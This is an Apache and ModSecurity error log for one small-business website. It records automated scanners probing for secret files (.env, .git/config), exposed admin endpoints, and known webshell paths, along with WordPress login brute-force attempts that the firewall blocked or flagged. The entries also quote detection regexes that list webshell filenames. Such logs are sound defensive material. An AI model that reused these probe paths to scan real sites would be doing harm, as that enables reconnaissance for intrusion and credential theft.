[Fri Nov 14 13:32:33.128605 2025] [:error] [pid 16671:tid 16697] [client 138.68.144.227:57064] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRa-8TsoHwEAmeIzZXDtWAAAARQ"]
[Fri Nov 14 13:32:33.861329 2025] [:error] [pid 16671:tid 16694] [client 138.68.144.227:45126] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server-status"] [unique_id "aRa-8TsoHwEAmeIzZXDtXQAAARE"]
[Fri Nov 14 13:32:34.592195 2025] [:error] [pid 16709:tid 16733] [client 138.68.144.227:45140] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/login.action"] [unique_id "aRa-8qNdzfVNC4oipLXYFQAAAVY"]
[Fri Nov 14 13:32:35.322223 2025] [:error] [pid 16671:tid 16688] [client 138.68.144.227:45148] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_all_dbs"] [unique_id "aRa-8zsoHwEAmeIzZXDtYgAAAQs"]
[Fri Nov 14 13:32:36.059668 2025] [:error] [pid 16709:tid 16717] [client 138.68.144.227:45152] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.DS_Store"] [unique_id "aRa-9KNdzfVNC4oipLXYGAAAAUY"]
[Fri Nov 14 13:32:36.792168 2025] [:error] [pid 16671:tid 16680] [client 138.68.144.227:45158] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aRa-9DsoHwEAmeIzZXDtZAAAAQM"]
[Fri Nov 14 13:32:37.523627 2025] [:error] [pid 16573:tid 16584] [client 138.68.144.227:45170] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRa-9SPGexfUk9FDoEI8kwAAAEY"]
[Fri Nov 14 13:32:38.276780 2025] [:error] [pid 16574:tid 16631] [client 138.68.144.227:45172] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRa-9v6XQqe4NqaoE9LeWwAAAJg"]
[Fri Nov 14 13:32:39.003739 2025] [:error] [pid 16574:tid 16626] [client 138.68.144.227:45178] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.json"] [unique_id "aRa-9_6XQqe4NqaoE9LeXQAAAJM"]
[Fri Nov 14 13:32:39.732877 2025] [:error] [pid 16573:tid 16579] [client 138.68.144.227:45182] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/telescope/requests"] [unique_id "aRa-9yPGexfUk9FDoEI8lgAAAEE"]
[Fri Nov 14 13:32:40.463777 2025] [:error] [pid 16573:tid 16581] [client 138.68.144.227:45198] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aRa--CPGexfUk9FDoEI8mgAAAEM"]
[Fri Nov 14 13:32:41.191289 2025] [:error] [pid 16575:tid 16641] [client 138.68.144.227:45212] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRa--e6qT670YxigvbAsSwAAAMc"]
[Fri Nov 14 13:58:58.593583 2025] [:error] [pid 16709:tid 16726] [client 176.99.9.19:41284] [client 176.99.9.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.99.9.19, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRbFIqNdzfVNC4oipLXmHQAAAU8"]
[Fri Nov 14 13:58:58.603435 2025] [:error] [pid 16709:tid 16726] [client 176.99.9.19:41284] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 15:15:59.079413 2025] [:error] [pid 16671:tid 16687] [client 107.180.252.236:59466] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.252.236, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRbXLzsoHwEAmeIzZXAXHwAAAQo"]
[Fri Nov 14 15:15:59.087317 2025] [:error] [pid 16671:tid 16687] [client 107.180.252.236:59466] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 16:29:21.344612 2025] [:error] [pid 16709:tid 16720] [client 107.189.30.207:23025] [client 107.189.30.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.30.207, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRboYaNdzfVNC4oipLU5KAAAAUk"], referer: https://www.yahoo.com/
[Fri Nov 14 16:29:21.347662 2025] [:error] [pid 16709:tid 16720] [client 107.189.30.207:23025] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Fri Nov 14 17:46:57.655141 2025] [:error] [pid 16574:tid 16631] [client 185.126.20.94:52862] [client 185.126.20.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.126.20.94, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRb6kf6XQqe4NqaoE9IyIQAAAJg"]
[Fri Nov 14 17:46:57.662750 2025] [:error] [pid 16574:tid 16631] [client 185.126.20.94:52862] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 21:00:55.449739 2025] [:error] [pid 16671:tid 16699] [client 185.102.115.93:55162] File does not exist: /usr/local/apache/htdocs/suspended-page/wsd.php
[Fri Nov 14 22:57:22.241826 2025] [:error] [pid 16575:tid 16643] [client 84.246.211.12:45454] [client 84.246.211.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.246.211.12, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRdDUu6qT670YxigvbDQRQAAAMk"]
[Fri Nov 14 22:57:22.248867 2025] [:error] [pid 16575:tid 16643] [client 84.246.211.12:45454] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 00:21:11.566760 2025] [:error] [pid 45995:tid 46021] [client 129.232.136.5:51648] [client 129.232.136.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.232.136.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRdW98fhZrb6EV4SvFuk-AAAAhU"]
[Sat Nov 15 00:21:11.573632 2025] [:error] [pid 45995:tid 46021] [client 129.232.136.5:51648] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 00:43:21.612710 2025] [:error] [pid 45995:tid 46003] [client 185.102.115.93:34420] File does not exist: /usr/local/apache/htdocs/suspended-page/zxin.php
[Sat Nov 15 00:44:02.734895 2025] [:error] [pid 45909:tid 45987] [client 152.53.164.187:41804] [client 152.53.164.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.164.187, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRdcUsZqItrYybG86kiJwgAAAdY"]
[Sat Nov 15 00:44:02.741498 2025] [:error] [pid 45909:tid 45987] [client 152.53.164.187:41804] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 01:39:36.788489 2025] [:error] [pid 45909:tid 45974] [client 178.156.190.71:43806] [client 178.156.190.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.156.190.71, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRdpWMZqItrYybG86kib6gAAAck"]
[Sat Nov 15 01:39:36.795193 2025] [:error] [pid 45909:tid 45974] [client 178.156.190.71:43806] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 02:51:26.916398 2025] [:error] [pid 45909:tid 45973] [client 85.190.242.193:46556] [client 85.190.242.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.190.242.193, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRd6LsZqItrYybG86ki1UgAAAcg"]
[Sat Nov 15 02:51:26.925838 2025] [:error] [pid 45909:tid 45973] [client 85.190.242.193:46556] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 03:03:27.665922 2025] [:error] [pid 45995:tid 46017] [client 4.205.179.237:41962] [client 4.205.179.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aRd8_8fhZrb6EV4SvFvrngAAAhE"]
[Sat Nov 15 03:03:28.211601 2025] [:error] [pid 45995:tid 46011] [client 4.205.179.237:41932] [client 4.205.179.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.205.179.237, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aRd9AMfhZrb6EV4SvFvrogAAAgs"]
[Sat Nov 15 03:03:29.087388 2025] [:error] [pid 45995:tid 46012] [client 4.205.179.237:41932] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sat Nov 15 03:03:29.326412 2025] [:error] [pid 45995:tid 46005] [client 4.205.179.237:41932] File does not exist: /usr/local/apache/htdocs/suspended-page/ty.php
[Sat Nov 15 03:03:29.770706 2025] [:error] [pid 45995:tid 46024] [client 4.205.179.237:41932] [client 4.205.179.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aRd9AcfhZrb6EV4SvFvrqQAAAhg"]
[Sat Nov 15 03:03:30.483795 2025] [:error] [pid 45995:tid 46021] [client 4.205.179.237:41873] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Sat Nov 15 03:03:31.150977 2025] [:error] [pid 45995:tid 46001] [client 4.205.179.237:41873] [client 4.205.179.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aRd9A8fhZrb6EV4SvFvrsgAAAgE"]
[Sat Nov 15 03:03:31.571986 2025] [:error] [pid 45908:tid 45942] [client 4.205.179.237:41861] [client 4.205.179.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aRd9A2WG19mWwZX7KauGCwAAAAQ"]
[Sat Nov 15 03:03:32.028474 2025] [:error] [pid 45908:tid 45960] [client 4.205.179.237:41857] [client 4.205.179.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aRd9BGWG19mWwZX7KauGDQAAABY"]
[Sat Nov 15 03:03:32.497895 2025] [:error] [pid 45909:tid 45968] [client 4.205.179.237:41959] [client 4.205.179.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aRd9BMZqItrYybG86ki5ygAAAcM"]
[Sat Nov 15 04:29:04.926091 2025] [:error] [pid 27909:tid 27936] [client 51.81.107.180:39768] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Sat Nov 15 04:59:43.352614 2025] [:error] [pid 37318:tid 37368] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Nov 15 04:59:43.562859 2025] [:error] [pid 37318:tid 37381] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Sat Nov 15 04:59:43.779183 2025] [:error] [pid 37318:tid 37380] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Nov 15 04:59:44.207219 2025] [:error] [pid 37318:tid 37365] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Nov 15 04:59:44.445078 2025] [:error] [pid 37318:tid 37388] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat Nov 15 04:59:44.657490 2025] [:error] [pid 37318:tid 37379] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Sat Nov 15 04:59:45.092665 2025] [:error] [pid 37318:tid 37390] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sat Nov 15 04:59:45.660677 2025] [:error] [pid 37318:tid 37390] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sat Nov 15 04:59:45.873976 2025] [:error] [pid 37318:tid 37375] [client 4.206.94.204:54967] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Sat Nov 15 04:59:46.082613 2025] [:error] [pid 37318:tid 37377] [client 4.206.94.204:54967] [client 4.206.94.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aReYQugM1rHoEAqoQDcOkgAAAQ8"]
[Sat Nov 15 04:59:46.495180 2025] [:error] [pid 27997:tid 28000] [client 4.206.94.204:57817] [client 4.206.94.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aReYQtpja_6cDxKbxFkHjAAAAME"]
[Sat Nov 15 04:59:46.958504 2025] [:error] [pid 27911:tid 27992] [client 4.206.94.204:59563] [client 4.206.94.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aReYQsGzUdrhGBIfiKSwKAAAAJg"]
[Sat Nov 15 04:59:47.402940 2025] [:error] [pid 27997:tid 28023] [client 4.206.94.204:54129] [client 4.206.94.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aReYQ9pja_6cDxKbxFkHjQAAANg"]
[Sat Nov 15 05:28:55.712409 2025] [:error] [pid 27997:tid 28021] [client 217.160.225.18:45136] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.225.18, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRefF9pja_6cDxKbxFkTVwAAANY"]
[Sat Nov 15 05:28:55.719990 2025] [:error] [pid 27997:tid 28021] [client 217.160.225.18:45136] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 06:42:12.357092 2025] [:error] [pid 27910:tid 27965] [client 51.38.116.112:34128] [client 51.38.116.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.116.112, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRewRI6e1LusHMYkS7ZmCQAAAFg"]
[Sat Nov 15 06:42:12.364644 2025] [:error] [pid 27910:tid 27965] [client 51.38.116.112:34128] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 07:58:12.565365 2025] [:error] [pid 27911:tid 27972] [client 157.245.154.48:51212] [client 157.245.154.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.154.48, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRfCFMGzUdrhGBIfiKTuzQAAAIQ"]
[Sat Nov 15 07:58:12.574799 2025] [:error] [pid 27911:tid 27972] [client 157.245.154.48:51212] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 09:17:28.782455 2025] [:error] [pid 27911:tid 27980] [client 94.130.237.27:47804] [client 94.130.237.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.130.237.27, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRfUqMGzUdrhGBIfiKQHLAAAAIw"]
[Sat Nov 15 09:17:28.788973 2025] [:error] [pid 27911:tid 27980] [client 94.130.237.27:47804] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 10:32:58.906829 2025] [:error] [pid 20313:tid 20326] [client 151.106.1.194:53654] [client 151.106.1.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.106.1.194, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRfmWhI9DXIgPadBLUZDDAAAAso"]
[Sat Nov 15 10:32:58.919995 2025] [:error] [pid 20313:tid 20326] [client 151.106.1.194:53654] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 11:36:02.031732 2025] [:error] [pid 20654:tid 20669] [client 185.102.115.93:58484] File does not exist: /usr/local/apache/htdocs/suspended-page/abc.php
[Sat Nov 15 11:53:45.834938 2025] [:error] [pid 20346:tid 20365] [client 51.75.233.102:44162] [client 51.75.233.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.233.102, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRf5SZ7hsydZdIoVTlvJmQAAAxA"]
[Sat Nov 15 11:53:45.841442 2025] [:error] [pid 20346:tid 20365] [client 51.75.233.102:44162] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 12:09:28.264638 2025] [:error] [pid 27997:tid 28023] [client 138.197.23.42:56035] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRf8-Npja_6cDxKbxFmObAAAANg"]
[Sat Nov 15 12:09:28.712982 2025] [:error] [pid 27997:tid 28019] [client 138.197.23.42:52408] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRf8-Npja_6cDxKbxFmOfQAAANQ"]
[Sat Nov 15 12:09:29.134419 2025] [:error] [pid 27911:tid 27985] [client 138.197.23.42:52731] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRf8-cGzUdrhGBIfiKQmQAAAAJE"]
[Sat Nov 15 12:09:29.550824 2025] [:error] [pid 22613:tid 22624] [client 138.197.23.42:53035] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRf8-SoyR3cDsIRGPRl8sQAAAgk"]
[Sat Nov 15 12:09:29.966809 2025] [:error] [pid 22613:tid 22633] [client 138.197.23.42:60394] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRf8-SoyR3cDsIRGPRl8uwAAAhI"]
[Sat Nov 15 13:05:19.180978 2025] [:error] [pid 20654:tid 20663] [client 57.129.79.233:54898] [client 57.129.79.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.129.79.233, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRgKD3cS7eC8vO76_yeANgAAA4Y"]
[Sat Nov 15 13:05:19.187946 2025] [:error] [pid 20654:tid 20663] [client 57.129.79.233:54898] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 13:08:08.289218 2025] [:error] [pid 27911:tid 27968] [client 45.61.188.132:13510] [client 45.61.188.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.132, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRgKuMGzUdrhGBIfiKQvzwAAAIA"]
[Sat Nov 15 13:08:08.295884 2025] [:error] [pid 27911:tid 27968] [client 45.61.188.132:13510] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
